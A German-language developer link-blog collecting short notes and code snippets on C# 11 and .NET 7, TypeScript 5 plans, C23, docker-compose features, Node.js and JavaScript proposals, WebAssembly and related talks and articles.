Ein Blog

Ein Spiel für die Mittagspause: Can’t Unsee. Man muss aus 2 Designs immer das auswählen, das weniger schlimm ist. Bei manchen hat man wirklich Tomaten auf den Augen!

Ich hatte mal einen Post verlinkt, in dem erklärt wurde, wann React re-rendert. Gerade habe ich diesen schönen Post gefunden: Why React Re-Renders.

Hier ist noch ein ergänzender Talk: https://www.youtube.com/watch?v=lGEMwh32soc

  • react
  • javascript

Man sollte ja eigentlich immer calloc statt malloc verwenden. Das häufigste Argument ist, dass man bei calloc immer genullten Speicher bekommt, was man bei malloc erst von Hand nachbauen muss (viele aber dann einfach nicht machen). Hier sind noch zwei weitere Argumente: Why does calloc exist?

  • c

C# 11 und .NET 7 sind da.

C# hat jetzt wirklich schon echt umfangreiches Pattern-Matching. Z. B. bei dieser Variante von AddAll sieht man das ganz gut:

  T AddAll<T>(params T[] elements) where T : IMonoid<T> => 
    elements switch
  {
      [] => T.Zero,
      [var first, ..var rest] => first + AddAll<T>(rest),
  };

Die List-Patterns lassen code auch schon sehr kompakt (aber zumindest für C# sehr ungewohnt) schreiben und funktionieren auch auf Strings und Char-Spans:

void MatchMessage(string message)
{
    var result = message is ['a' or 'A', .. var s, 'a' or 'A']
        ? $"Message {message} matches; inner part is {s}."
        : $"Message {message} doesn't match.";
    Console.WriteLine(result);
}

MatchMessage("aBBA");  // output: Message aBBA matches; inner part is BB.
MatchMessage("apron");  // output: Message apron doesn't match.

void Validate(int[] numbers)
{
    var result = numbers is [< 0, .. { Length: 2 or 4 }, > 0] ? "valid" : "not valid";
    Console.WriteLine(result);
}

Validate(new[] { -1, 0, 1 });  // output: not valid
Validate(new[] { -1, 0, 0, 1 });  // output: valid

Zu .NET 7 hab ich ja schon einiges hier, vieles davon ist im Ankündigungspost auch noch mal drin.

  • csharp
  • dotnet

Ein interessanter Post darüber, wie ein einziger Algorithmus von mehreren Leuten mit unterschiedlichen Kenntnissen implementiert wurde: From Junior to Genius: an optimization story
Ganz besonders gut finde ich, dass man sieht, dass “der hacker way” nicht immer der Beste ist. Speziell wegen der Lesbarkeit würde ich persönlich an der Stelle dann lieber eine der anderen Lösungen bevorzugen, selbst, wenn sie langsamer sind.

  • performance

Der Meilenstein für TypeScript 5. Darunter:

Implement the Stage 3 Decorators Proposal

Das wird ziemlich schlimm. TS hat ja bereits Decorators, die von Angular- (und TypeORM-) Menschen schon viel benutzt werden. Ich war nie ein Fan davon. Dazu kommt, dass sich das Proposal, auf dem die Decorator baiseren, in der Zwischenzeit mehr als 2x verändert hat. Das wird noch interessant, wie das Ökosystem diese Migration schaffen wird.

Reduce typescript package size

TS ist mittlerweile >60 MiB groß. TS selbst benutzt intern keine ES-Module, sondern namespaces. Das ist ein überbleibsel aus den Anfängen von TS, als es noch viele Dinge aus C# übernommen hat (wie z. B. Enums). Jetzt gibt es einen PR, der das ändert. Das TS-Team ist damit das erste Mal damit konfrontiert, dass sie sehr viele Modul-Imports haben werden, da es die bei den Namespaces vorher nicht gab. Das wird die (aus meiner Sicht sehr einfache) Codestruktur des Compilers vielleicht langfristig ändern.

Aber das ist nicht, warum ich diesen PR verlinke. Sie konnten die Package-Größe von >60 MiB auf ~35 MiB senken. Wie? Neben ein bisschen Tree-Shaking und entfernen von identischen Dateien haben sie in einem Build-Prozess aus 4 Spaces einfach 2 Spaces gemacht. Hier hat jemand einen proof-of-concept gebracht und gezeigt, dass man noch mal 2 MiB runter bekommt, wenn man die 2 Spaces durch einen Tab ersetzt. Irrelevant für Komprimierung, aber ggf. relevant für einen Parser, der 2 MiB weniger lesen muss.

TypeScript Flag Deprecation Plan

Sie fangen an, alte Flags aus der Anfangszeit zu deprecaten und bis 2024 entfernen. Sowas gab es bisher noch nicht, daher müssen sie erstmal schauen, wie sie dort vorgehen. Die Kandidaten für die ersten Deprecations gefallen mir schon:

  • noFallthroughCasesInSwitch - style concern; use a linter if this is not allowed in your coding style
  • target: "ES3"
  • module - Remove umd, system and amd

Ein weiteres Ticket, das mir persönlich nicht gefehlt, aber vielen anderen: Allow voluntary .ts suffix for import paths.
Der Hintergrund ist, dass TS keine Import-Pfade umschreibt. Was also in einem import * as a from "foo" steht, bleibt da so. Mit dem Aufkommen von ESM muss man u. A. für Browser- und Deno-Kompatibilität ein “.js” dort dran hängen. Dann befindet man sich in der Situation, in der man in einer .ts-Datei plötzlich eine andere .ts-Datei als .js-Datei importieren muss.
Warum mich das nicht stört: Wenn man TS als reinen Type-Checker sieht, ergibt das Sinn, wenn TS ist nichts weiteres als JS mit Typen. Im Extremfall wird es ausschließlich als Type-Checker verwendet (neuere Frontend-Stacks tun genau das, seitdem Babel und ESBuild TS-Syntax unterstützen).
Das wird durch das Type-Annotation-Proposal natürlich noch auf die Spitze getrieben. Letztendlich wäre dann die Idee: Ändere deine Dateiendung wieder zurück auf .js und du hast von TS überprüften Code. Wenn man aber in der Zwischenzeit überall seine Importe auf .ts geändert hat, um seine OCD zu befriedigen, hat man an der Stelle mehr arbeit.

  • typescript

Falls es nicht nur an mir vorbei ging: Node.js 19.

  • node

Wir hatten ja schon SQLite nach WASM kompiliert im Browser. Jetzt gibt es auch Postgres im Browser.

  • db

1Hz CPU made in Minecraft running Minecraft at 0.1fps.

Der dazugehörige Prozessor.

Kurze Erläuterung auf HN:

The program itself was written in an existing intermediate language called URCL, which was then compiled to CHUNGUS2 assembly. CHUNGUS2 is the processor made with Minecraft’s redstone mechanics. The processor was emulated for development, but the demo is running on MCHPRS, a Minecraft server that uses Wasmtime’s Cranelift to JIT the redstone operations, which are represented as a weighted directed graph. Before MCHPRS, optimizing redstone performance using compiler techniques was not thought to be possible. With MCHPRS the demo takes 9 hours to run, it would take decades using Minecraft.

Heutzutage kommt in JavaScript ja jedes Jahr ein neuer Standard, der die Jahreszahl im Namen hat. Früher hat man da ausschließlich hochgezählt. Der letzte, den man häufig unter seiner Zahl referenziert hat, war ES6. Vor ES6 gab es ES5, was 2009 kam. Damals war z. B. JSON.parse neu. Vor ES5 war der Standard… ES3, aus 1999.

Was war eigentlich mit ES4? Heutzutage gibt es ja z. B. React, bei dem man in JavaScript eine eigene an HTML angelehnte Syntax für (Virtual-)DOM-Elemente hat.
In ES6 kam auch eine Syntax für Klassen. Für Interfaces und statische Typisierung wird heutzutage oft auch TypeScript eingesetzt.
Alles drei sind Sachen, die in ES4 vorgesehen waren. Dazu kamen sogar noch mehr Datentyüpen für Zahlen (int, byte, decimal, etc.). Hier gibt es eine Übersicht an ES4-Features, die dann niemals kamen.

Warum kam es nie? Dieser Post beantwortet das: The Real Story Behind ECMAScript 4

  • javascript

Es ist komplett an mir vorbei gegangen, dass C23 verabschieded wurde.

Meine Highlights:

  • signed Integer sind jetzt definiert als Zweierkomplement
  • #embed, womit man Rohdaten aus anderen Dateien inkludieren kann, z. B. in einem C-Array. Das wird so einige Buildprozesse vereinfachen.
  • Enums können jetzt einen zugrundeliegenden Typen haben: enum e : unsigned short { x };
  • Es gibt jetzt nullptr (und nullptr_t) auch in C
  • true und false sind jetzt Keywords
  • 0b-Literale

Außerdem gibt es noch bessere Kompatibilität zwischen gleichförmigen Structs. Mit N3003 wird dieser Generics-Hack nun viable (Codebeispiel von Reddit übernommen):

#include <stdio.h>
#include <stdlib.h>

#define Vec(T) struct Vec__##T { T *at; size_t _len; }

#define vec_push(a,v) ((a)->at = realloc((a)->at, ++(a)->_len), (a)->at[(a)->_len - 1] = (v))
#define vec_len(a) ((a)._len)

void fill(Vec(int) *vec) {
    for (int i = 0; i < 10; i += 2)
        vec_push(vec, i);
}

int main() {
    Vec(int) x = { 0 }; // or = {} in C2x
    // pre C2x you'd need to typedef Vec(int) to make the pointers compatible and use it for `x` and in fill:
    // --v
    fill(&x);
    for (size_t i = 0; i < vec_len(x); ++i)
        printf("%d\n", x.at[i]);
}

Auf cppreference gibt es auch noch eine kleine Übersicht der Änderungen.

  • c
  • cpp

Letztens hatte ich einen Post zu selten verwendeten Features bei docker-compose. Hier ein guter, aber oberflächlicher Artikel: 6 Docker Compose Best Practices for Dev and Prod

Daraufhin hat sich noch ein weiteres Feature aufgetan: profiles. Beispiel:

version: "3.9"
services:
  frontend:
    image: frontend
    profiles: ["frontend"]

  phpmyadmin:
    image: phpmyadmin
    depends_on:
      - db
    profiles:
      - debug

  backend:
    image: backend

  db:
    image: mysql

Here the services frontend and phpmyadmin are assigned to the profiles frontend and debug respectively and as such are only started when their respective profiles are enabled.

In den Kommentaren auf HN gibt es auch noch weitere Tipps.

  • docker

.NET 7 Preview 7 ist da.
Interessante Neuerungen:

  • Support für Unix File-Modes
  • Ein Ersatz für DllImport (FFI), der Source Generators verwendet: LibraryImport
  • c-sharp

Es gibt eine Studie aus 2010, die die Lesbarkeit von camelCase und snake_case untersucht. Sie kommt zu dem Schluss, dass snake_case um ca. 20% einfacher zu lesen ist. (Danke, Hans)

  • language-design

Eine Sammlung an Standard-UI-Patterns mit CSS: csslayout.io.

  • css

TIL: Geek Code. Hier ist der Standard. Die Domain leitet heutzutage übrigens auf Google um.

-----BEGIN GEEK CODE BLOCK-----
Version: 3.1
GCS/IT/M/SS d- s-:++ a- C++ UL++ P--- L++ E---- W++N*
w++ PS+ PE- Y+ !O !K !M !V PGP+(++) !t R? !tv b e+++ z?
------END GEEK CODE BLOCK------

Das img-Element hat ein decoding-Attribut, mit dem man sagen kann, ob das Bild asynchron oder synchron dekodiert werden soll.
Gibt’s auch schon länger (Chrome 53, Firefox 63).

  • html

Heute habe ich gelernt: In docker-compose kann man sich sowas basteln, was ähnlich zu den Init-Containern aus k8s ist. Verwenden tut man dafür die depends_on-Property des Services.

Bisher ging ich davon aus, dass man mit der Property nur festlegen kann, in welcher Reihenfolge die Container gestartet werden. Das bringt einem aber nicht viel, weil die Container üblicherweise unterschiedlich lange brauchen, um zu starten. Das geht mittlerweile besser, nur die Dokumentation erwähnt es (noch) nicht:

Bei den Elementen von depends_on kann man conditions angeben. Dort kann man sagen, in welchem Zustand die Abhängigkeit sein soll, bevor der Container gestartet wird.

services:
  db:
    image: mariadb:10
    ports:
      - "3306:3306"

  init_db:
    image: mariadb:10
    command: /init-db.sh
    volumes:
      - ./init-db.sh:/init-db.sh
    env_file:
      - credentials.env
    depends_on:
      db:
        condition: service_started

  application:
    # ...
    depends_on:
      init_db:
          condition: service_completed_successfully

Durch das service_completed_successfully sagt man, dass application erst startet, wenn init_db mit einem 0-Exit-Code beendet ist.
service_started ist offenbar das, was sonst auch immer der Fall war (die Doku nennt es “legacy behaviour”).

Ich hab dann noch ein bisschen Recherche betrieben und rausgefunden:
Da geht noch mehr! Definiert man z. B. die Healthchecks, über die ich mal berichtet habe, kann man den Condition service_healthy angeben. Diesen Status erhält ein Container, wenn er hochgefahren und sich durch den Healthcheck als “gesund” erkannt wurde.
Definiert man das in der Dockerfile oder in der docker-compose.yml, kann man damit sogar ein ./wait-for-it.sh loswerden.
Da hat sich ja echt was getan bei docker-compose.

  • docker

Wo wir gerade bei .NET 7 waren:

Die neue Preview (Preview 5) hat jetzt Support für “Generic Math”.

Das wird ermöglicht durch:

  • Statische, abstrakte Interface-Member
  • Dadurch Operatorüberladung, die in Interfaces spezifiziert ist

Interfaces konnten bis C# 11 keine statischen Member von einem Typen verlangen. So war es z. B. nicht möglich, zu verlangen, dass eine Klasse den +-Operator implementiert. Auch nicht mit einem Type-Constraint.
Auch das bekannte Muster Parse und TryParse war mehr Konvention als irgendwie erzwingbar, weil beide Methoden statisch sind. Aus dem Grund war eine Lösung, Klassen zu erstellen, von denen es nur eine Instanz gibt. Anders konnte man keinen Type-Constraint erfüllen, der durch Interfaces kam. Darüber habe ich schonmal berichtet.

Jetzt ist das ganze ist jetzt schon deutlich konkreter geworden. Die neuen Interfaces dazu sehen sehr cool aus. Man kann damit jetzt den Großteil der Rechenoperationen abstrahieren.
Den Nutzen kann man gut sehen, weil sie in der LINQ die Min/Max-Funktionen damit ersetzen konnten. Es fällt echt viel doppelter Code weg.
Es liegt jetzt natürlich nah, diese Interfaces auch bei den Vector-Typen aus System.Numerics zu implementieren. Laut den Kommentaren in dem Artikel dazu wird das nicht mehr in .NET 7 passieren.

Auch neu:
.NET hat jetzt eine API, um TARs zu entpacken. Wenn man das mit dem bereits existierenden GZipStream kombiniert, kann man also ganz leicht ohne externe Libraries jetzt eine tar.gz entpacken. Deflate und Brotli gibt es dort übrigens auch.

System.Text.Json kann jetzt anhand von einem Diskriminator-Feld zwischen in verschiedene Basisklassen deserialisieren:

[JsonDerivedType(typeof(Base), typeDiscriminator: "base")]
[JsonDerivedType(typeof(Derived), typeDiscriminator: "derived")]
public class Base
{
    public int X { get; set; }
}

public class Derived : Base
{
    public int Y { get; set; }
}
// ...
Base value = JsonSerializer.Deserialize<Base>(@"{ ""$type"" : ""derived"", ""X"" : 0, ""Y"" : 0 }");
// value is a Derived instance

Was in dem Blogpost nicht steht, aber in der Issue zu der Änderung: Man kann die Property, auf die geschaut wird, wie folgt definieren:

[JsonPolymorphic(CustomTypeDiscriminatorPropertyName = "$case")]

(standardmäßig ist es "$type")

System.IO.Stream hat jetzt ReadExactly und ReadAtLeast.
Das ist cool, weil das normale Read möglicherweise weniger Daten zurückgibt. Dann muss man eigene Logik bauen, um den Rest auch noch zu lesen. Das ist manchmal echt nervig gewesen.
Um das etwas zu entkoppeln, gibt es übrigens noch was anderes: System.IO.Pipelines.

Wenn Ihr eine Library baut, gibt’s noch eine interessante Neuerung:
Das StringSyntaxAttribute. Das kann man an Member und Parameter kleben, um anzugeben, was der entsprechende String so für Daten enthält. So kann man z. B. sagen, dass soein String ein Regex-Pattern oder JSON enthält. Die IDE kann dann entsprechend highlighten und generell ne bessere Editing-Experience geben.

VS gibt’s jetzt auch für ARM64.

  • c-sharp

MS hat in .NET 5 schon deutliche Performancegewinne bei RegEx erzielen können.

Das ist in .NET 7 noch mal interessanter geworden.

Erste interessante Sache: Sie haben einen Source-Generator für RegEx gemacht. Damit wird das RegEx-Pattern zur Compile-Time der Anwendung schon kompiliert. Das spart Zeit bei dem initialen Aufruf und bietet ggf. noch Raum für mehr Optimierungen, weil es nicht zwangsweise schnell gehen muss. Dieser Generator ist allerdings Opt-In, weil man das RegEx-Objekt dafür auf eine bestimmte Art anlegen muss.

RegEx-Engines verwenden in der Praxis üblicherweise Backtracking, um nach Matches zu suchen. Ein Mensch der theoretischen Informatik würde jetzt fragen “warum das?”. Der Hintergrund ist, dass RegEx in den meisten Sprachen doch etwas mehr kann, als reguläre Ausdrücke einer regulären Sprache (z. B. Lookback References).

Verwendet man in seinem Pattern solche Konstrukte (Liste davon ist im verlinkten Blogpost) nicht, kann man alternativ eine RegEx-Engine verwenden, die einen DFA bzw. NFA konstruiert. Also das, was man im TI-Unterricht auch so lernt.
Der Vorteil davon: Die können in manchen Use-Cases schneller sein. Das sollte man abhängig von seinem Pattern und den Daten machen. Hilfe beim Entscheiden gibt einem der Blogpost. Man sollte jetzt also nicht hingehen und überall Backtracking entfernen. Backtracking wurde schon gut optimiert.

Ein paar weitere Änderungen sind SIMD-Vektorisierung und Support für Span<T>.

  • c-sharp

Neues aus den Standards:

Die schon in Stage 3 befindlichen Funktionen groupBy und groupyByToMap wurden noch umbenannt: Sie heißen jetzt group und groupToMap. Man hat eine JS-Lib gefunden, die den Array-Prototypen monkeypatched hat.

String.dedent, um Einrückungen von Template-Strings zu fixen.

Damit habe ich auch schon Probleme gehabt. Allerdings bin ich mir nicht sicher, ob man soeine Funktion mit guter DX umsetzen kann. In meinen Augen haben die immer Magie gemacht (sowas gibt es auch in Java und mittlerweile auch C#). Kennen tue ich das aus Xtend. Teilweise verändert sich das Verhalten, wenn man den String in einer eigenen Zeile anfängt oder es mit Tabs mischt.
Vielleicht ist es aber auch ganz einfach.

Eine Erweiterung zu JSON.parse, mit der man feststellen kann, aus was für einem String-Wert ein geparster Wert kommt. Und gleichzeitig das Verhalten von JSON.stringify zu verändern.
Colle Idee.
Damit kann man basteln, dass man Timestamps nach JSON.parse schon parst. Damit spart man sich einen zweiten Verarbeitungsschritt. Oder man kann das Serialisieren von Timestamps in einen Unix-Timestamp umbiegen, wenn eine API das braucht.

  • javascript

Ich hab ja schon über den AbortController geschrieben. U. A. auch über die Convinience-Method AbortController.timeout(ms). Da gibt es jetzt noch etwas mehr von:

Einen Throw-Helper

AbortSignal.throwIfAborted()

Und bald gibt’s auch einen Combinator:

AbortSignal.any(signals)

Der ist noch in Entwicklung.

  • javascript

Useful utilities and services over DNS: dns.toys

Es gibt in HTTP nicht nur Header, sondern auch Trailer. Damit kann man Infos nachgelagert an den Client senden.

Wie es aussieht, implementieren die Browser das aber nur für HTTP2+. Auf CanIUse sieht es merkwürdig aus.

Gefunden habe ich dies in diesem Artikel über HTTP-Features. Dort wird auch ein Beispiel geliefert, wie die Trailer verwendet werden können, um Analyse-Timings an den Client auszuliefern:

const server = http.createServer(async function (req, res) {
  res.writeHead(200, {
    "Content-Type": "application/json",
    Trailer: "Server-Timing",
  });

  const dbStart = performance.now();
  const data = await db.getData();
  const dbTime = performance.now() - dbStart;

  res.write(JSON.stringify(data));

  res.addTrailers({ "Server-Timing": `db;dur=${dbTime}` });

  res.end();
});
  • http

Interessante CSS-Property, die die Browser schon seit Ewigkeiten können: text-stroke. Leider implementieren es alle Browser mit -webkit-Präfix (auch Firefox).

  • css

Heute lernte ich: Die SQLite-CLI kann ZIP-Dateien öffnen. Der Inhalt ist dann in Form einer virtuellen Tabelle sichtbar.

Weiter unten wird auch ein Command vorgestellt, das einem Indexe empfiehlt.

  • db

NVIDIA Releases Open-Source GPU Kernel Modules. Der Code ist hier: github.com/NVIDIA/open-gpu-kernel-modules

Edit:
Ich habe gerade mal durch die Readme geskimmt und das gesehen:

To build:

make modules -j`nproc`

Das wollte ich nicht glauben und hab es ausprobiert. Und tatsächlich, ein git clone, gefolgt von make lief komplett fehlerfrei durch. Dabei hab ich auf dem System nichtmal bestehende Nvidia Hard- oder Software, die der Code irgendwo noch referenzeiren könnte.

So eine gute Dev-Experience bin ich von C-Projekten nicht gewohnt. Das wird sicher die Einstiegshürde für Contributions senken.

Edit 2:
Eine Sache noch:

This code base is shared with NVIDIA’s proprietary drivers, and various processing is performed on the shared code to produce the source code that is published here. This has several implications for the foreseeable future:

  • The github repository will function mostly as a snapshot of each driver release.
  • We do not expect to be able to provide revision history for individual changes that were made to NVIDIA’s shared code base. There will likely only be one git commit per driver release.
  • […]

Hoffen wir mal, dass sie daran arbeiten, diese Strukturen noch aufzubrechen.

Cloudflare hat für ihre Workers jetzt eine Datenbank: D1.

Was mich freut, ist, dass die auf SQLite basiert. Das zeigt, wie ausgewachsen SQLite ist.

In dem Beispiel ihres Use-Cases sieht man, dass sie Raw-SQL für die DB-Abfragen benutzen.
Für genau diesen Use-Case baue ich gerade an einer prototypischen Lösung: sequelts. Die Idee: Man nutzt die Turingvollständigkeit vom TS-Typsystem, um SQL-Querys auf Typebene zu parsen und den Rückgabetypen zu inferieren.
Bald wird es als proof-of-concept noch mit sowas wie sql-template-strings kombiniert. Wenn man das hat, hat man die Richtung für’s Abfragen von Daten typsicher (und mit erzwungenen Prepared Statements auch “secure”).
Danach schaue ich weiter, in wie weit man sicherstellen kann, dass es keine Veränderungen an den Daten gibt, die nicht zulässig sind. Das steht aber noch in den Sternen.

  • db

JS-APIs, die kaum jemand kennt; heute: Dem Browser sagen, dass ein Textfeld für einen SMS-OPT-Code gedacht ist, mit WebOTP (MDN, Standard, Chrome-Blog).

Grundidee: Man setzt das autocomplete-Attribut des input-Elements auf one-time-code, macht dann ein bisschen JavaScript und hat ein bestimmtes Format in der SMS, die man verschickt.

Auf CanIUse ist es noch nicht gelistet. Mozilla hat auch noch keine Stellung dazu. Der Standard kommt offenbar ausschließlich von Google.

  • javascript

Ein sehr interessanter Talk über undefined behaviour in C und C++: Garbage In, Garbage Out: Arguing about Undefined Behavior von Chandler Carruth; entwickelt für Google an LLVM und Clang.

Er erklärt, warum UB im Kontext von C und C++ Sinn ergibt, gibt ein paar Beispiele und reflektiert, was für Fehler man im Standard und bei den Implementierungen gemacht hat.

  • cpp

VS2022 kann neben normalen Breakpoints, conditional Breakpoints und Tracepoints jetzt auch “temporary Breakpoints” (Breakpoint, der nur 1x anschlägt) und “dependent Breakpoints” (schlägt nur an, wenn ein bestimmter anderer Breakpoint vorher angeschlagen hat) kann

Ein schöner Talk von Matt Godbolt: What Has My Compiler Done for Me Lately? Unbolting the Compiler’s Lid.

Für die, die ihn nicht kennen: Das ist der, der den Compiler Explorer gebaut hat: https://gcc.godbolt.org

Damit kann man sich anschauen, was für Assembler-Code verschiedene Compiler aus Code erzeugen. Mittlerweile auch für andere Sprachen als C und C++.

Der Talk ist sehr schön und zeigt, was für Optimierungen der Compiler mittlerweile alle fährt. Ein Beispiel ist die Integer-Mulitplikation mit 2, also z. B. x * 2. Spoiler: Es ist nicht x << 1. Aber auch ein paar größere Beispiele sind durchaus beeindruckend.

Takeaway sollte sein: Optimiert nicht selbst, lasst das den Compiler machen.
Ich würde noch ergänzen: Wählt geeignete Datenstrukturen.

  • language-design
  • compiler

Heute lernte ich die HEALTHCHECK-Instruktion bei Dockerfiles. Damit kann ein Container einen Befehl definieren, mit dem man rausbekommen kann, ob der Container gerade “Healthy” ist. Erinnert ein bisschen an die Probes aus K8s.

HEALTHCHECK --start-period=10s --timeout=10s \
            CMD curl --fail http://localhost:80 || exit 1

Man kann das auch in einer Compose-File definieren.

  • docker

Interessant: Das Globale nonce-Attribut in HTML. Interessant für alle, die CSP machen.

  • javascript
  • html

Noch ein Feature, das nicht viele kennen:
Statische Größenangaben bei Arrays in Funktionsparametern:

void bar(int myArray[static 10]);

Checkt auf NULL-Pointer und prüft, ob die Größe des Arrays mindestens die geforderte Größe hat:

bar(NULL);
// warning: null passed to a callee which requires a non-null argument [-Wnonnull]
//     bar(NULL);
//     ^   ~~~~

int a[9];
bar(a);
// warning: array argument is too small; contains 9 elements, callee requires at least 10 [-Warray-bounds]
//     bar(a);
//     ^   ~

int b[11];
bar(b);

Noch ein Feature, das wenige kennen: Man kann angeben, dass ein Array so viele Elemente wie ein anderer Parameter der Funktion haben soll:

#include <stddef.h>

void baz(size_t n, int b[static n]);

int main() {
    int a[] = {1, 2, 3, 4};
    baz(4, a); // ok

    baz(9, a); // warning: 'baz' accessing 36 bytes in a region of size 16 [-Wstringop-overflow=]x86-64 gcc 11.2 #1

    return 0;
}

Zumindest die Warnung ist GCC-spezifisch. Clang zeigt keine Warnung an. Konnte leider nicht rausfinden, ob dieses Feature generell eine Extension ist. Ich glaube, das war im Standard, allerdings nur für Dokumentationszwecke angedacht. Um das “richtig” zu Type-Checken fehlt C das notwendige Typsystem.

  • cpp

In C kann man Arrays mit Enum-Membern initialisieren. Auszug:

enum Fruit_t {
    APPLES,
    ORANGES,
    STRAWBERRIES = 8
};

void foo()
{
    static const int price_lookup[] = {
        [APPLES] = 6,
        [ORANGES] = 10,
        [STRAWBERRIES] = 55
    };
}
  • cpp

Sehr kurzer Einblick, was x86 anders macht als andere Architekturen: The x86 architecture is the weirdo.

Update aus einem Kommentar auf HN:

The x86 has a small number (8) of general-purpose registers

x86-64 added more general-purpose registers.

The x86 uses the stack to pass function parameters; the others use registers.

OS vendors switched to registers for x86-64.

The x86 forgives access to unaligned data, silently fixing up the misalignment.

Now ubiquitous on application processors.

The x86 has variable-sized instructions. The others use fixed-sized instructions.

ARM introduced Thumb-2, with a mix of 2-byte and 4-byte instructions, in 2003. PowerPC and RISC-V also added some form of variable-length instruction support. On the other hand, ARM turned around and dropped variable-length instructions with its 64-bit architecture released in 2011.

The x86 has a strict memory model … The others have weak memory models

Still x86-only.

The x86 supports atomic load-modify-store operations. None of the others do.

As opposed to load-linked/store-conditional, which is a different way to express the same basic idea? Or is he claiming that other processors didn’t support any form of atomic instructions, which definitely isn’t true?
At any rate, ARM previously had load-linked/store-conditional but recently added a native compare-and-swap instruction with ARMv8.1.

The x86 passes function return addresses on the stack. The others use a link register.

Still x86-only.

Brave shippt jetzt mit einem Feature namens De-AMP. Damit umgeht man das AMP von Google, zwecks Privatsphäre.

Die Kommentare auf HN sind auch interessant.

Erste Spec für WebAssembly 2.0 (src).

Die Änderungen nach 1.0 sind hier. Neu sind u. a. ein paar Vektor-Instruktionen. Damit können Compiler jetzt schon SIMD-Instruktionen ausgeben und die WASM-Runtime muss das nicht allein von selbst rausfinden.

  • wasm

TypeScript 4.7. Ein paar interessante Sachen sind dabei. Man kann jetzt Co- und Kontravarianz angeben. Dazu gibt’s hier ein Video, das das erklärt.

  • typescript

Ich habe letztes Jahr mal darüber geschrieben, wie heute hoffnungslos überskaliert wird.

Heute flog mir ein Artikel von 2017 zu, den man ggf. auch gut verlinken kann: You are not Google

Node.js bekommt built-in Test-Runner. Aus dem Post:

const test = require('node:test');
const assert = require('assert');

test('synchronous passing test', (t) => {
  // This test passes because it does not throw an exception.
  assert.strictEqual(1, 1);

});

Wann kommt es?

Colin, the architect behind this initiative, has indicated that it will be available behind an experimental flag when Node 18 is pushed out, which is currently scheduled for April 19th.

It’s also available in nightly builds released after the 24th of March, 2022.

  • node

Wo wir gerade bei Node.js waren. Wir hatten schon ein paar mal den AbortController hier. Da gibt es jetzt eine Convenience-Method: AbortSignal.timeout(delay).

Node.js kann die ab Version 17 und 16.14.

  • node
  • javascript

Function.prototype.once wrappt eine Funktion so, dass sie nur ein Mal aufgerufen wird. Beim wiederholtem Aufruf wird das Ergebnis vom ersten zurückgegeben.

  • javascript

Das Change Array by Copy-Proposal ist nun in Stage 3 und wird damit umgesetzt.

Damit kommen jetzt folgende Funktionen:

const array = [1, 2, 3, 4];

const array0 = array.toReversed();
const array1 = array.toSorted(compareFn);
const array2 = array.toSpliced(start, deleteCount, ...items);
const array3 = array.with(index, value);

Früher musste man häufig auf doesitmutate.xyz nachschauen. Jetzt ist es etwas expliziter. TypedArrays (Uint8Array etc.) bekommen die Funktionen auch.

  • javascript

Plain Text - Dylan Beattie - NDC Oslo 2021.

Ein richtig guter Talk mit vielen Anekdoten über Text, Text-Encodings, deren Geschichte, Ligaturen, Rendering, Emoji, etc. Ich verlinke Artikel zu diesem Thema wirklich oft, aber dieser Talk fasst sehr viel sehr gut zusammen.

Die Kommentare sind auch interessant. Unter anderem:

There’s a text encoding “joke” here in China. The MSVC debugger will initialize any unallocated stack memory to 0xcccccccc, which will translate into GBK codec as “烫烫烫烫” (the GBK codec is a 2-byte encoding system). “烫” means hot. So when the program is hot, it means you’re encountering a wildcard pointer.

Eine Anekdote kann ich auch liefern:
In Japan is das Standardzeichen für Directory-Separator unter Windows das Zeichen ¥. Das liegt daran, dass das Symbol früher auf deren Code-Page da war, wo eigentlich \\ im Rest der Welt (bzw. da, bei dem, was die Amis verwendet haben) war.
Das hat sich so durchgesetzt, dass das in Japan heute noch der “normale” Directory-Separator ist. Und sie verwenden ihn auch, wenn sie E-Mails schicken, in denen sie Geldbeträge nennen. Es kann deshalb auch heute noch vorkommen, dass man dann einen Text wie 1000 \\ zugeschickt bekommt. Oder auch die Windows-CMD zeigt den falschen Directory-Separator an: Why is Windows 10 displaying \ ‎as ‎¥ on the command line?.

Go 1.18 ist da.

Neuerungen: Generics und ein any-Keyword für interface{}. Damit sollte quasi jedes Go-Projekt ungefähr um die Hälfte schrumpfen.

Achja, und sie haben jetzt einen Fuzzer, den man für Tests verwenden kann. Hier ein kleines Tutorial.

MeiliSearch 0.26 ist da.

Ich schreibe das eigentlich nur, weil ich das ein cooles Projekt finde. Die neue Version hat tenant tokens.

Gerade ist dieses Peoposal in meiner Timeline aufgetaucht. Ein Author ist Daniel Rosenwasser, bekannt aus dem TypeScript-Projekt.

Idee: einen Großteil der TS-Syntax in JS aufnehmen, allerdings ohne Typüberprüfung. Die Type-Annotations sollen von der Engine komplett ignoriert werden, ist also an der Stelle ähnlich zu dem Type-Hints aus Python. Nur kann man bei Python noch zur Laufzeit auf die Typen zurückgreifen. Das würde hier auch entfallen.

Als MS mit TypeScript angefangen hat, hätte Anders geäußert, dass statische Typen in der JS-Welt nicht gern gesehen sind - zumindest nicht in der Kernsprache. In dem Proposal ist ein Screenshot aus The-State-Of-JavaScript. Dort wünschten sich die Teilnehmer der Umfrage - mit Abstand - statische Typisierung am meisten.
Das sieht für mich aus, als hätte MS da eine ziemliche Erfolgsstory mit TypeScript hingelegt.

Das Proposal wurde nichtmal dem TC39 vorgelegt - es wird also noch sehr lange dauern, sollte etwas in dieser Richtung kommen. Falls es kommt, wäre das ein ziemlicher Game-Changer. Man erspart sich damit, .d.ts-Dateien mit auszuliefern. Da JS dann größtenteils quasi das ist, was TS heute ist, wird TS dadurch deutlich zurück gehen und vorrangig nur noch als Type-Checker für JS dienen. Es würde tatsächlich vieles vereinfachen.

Spannend!

  • javascript
  • typescript

Intl.NumberFormat .formatRange kann Zahlen- (und auch Währungs-) Ranges formatieren. Auszug aus MDN:

const nf = new Intl.NumberFormat("es-ES", {
  style: "currency",
  currency: "EUR",
  maximumFractionDigits: 0,
});

console.log(nf.formatRange(3, 5); // → "3-5 €"
console.log(nf.formatRange(2.9, 3.1); // → "~3 €"

Wird aber noch von keinem Browser unterstützt (caniuse).

  • javascript

Schaut Euch das mal an.

Ich hatte schon im Blog: SQLite im Browser mit HTTP-Range-Requests, sodass man in einigen Use-Cases ein Backend wegrationalisieren und durch eine statisch gehostete SQLite-Datei ersetzen kann.

Später kam dann darauf basierend ein statisch gehostetes Wikipedia mit Suchfunktion.

Das nächste Level ist jetzt die oben verlinkte Seite: Die SQLite-Datei nicht per HTTP servieren, sondern mit BitTorrent. Was viele nicht wissen: Torrents gehen mittlerweile auch im Browser, über WebRTC. libtorrent unterstützt das auch, damit auch die bekannten Clients wie Deluge.
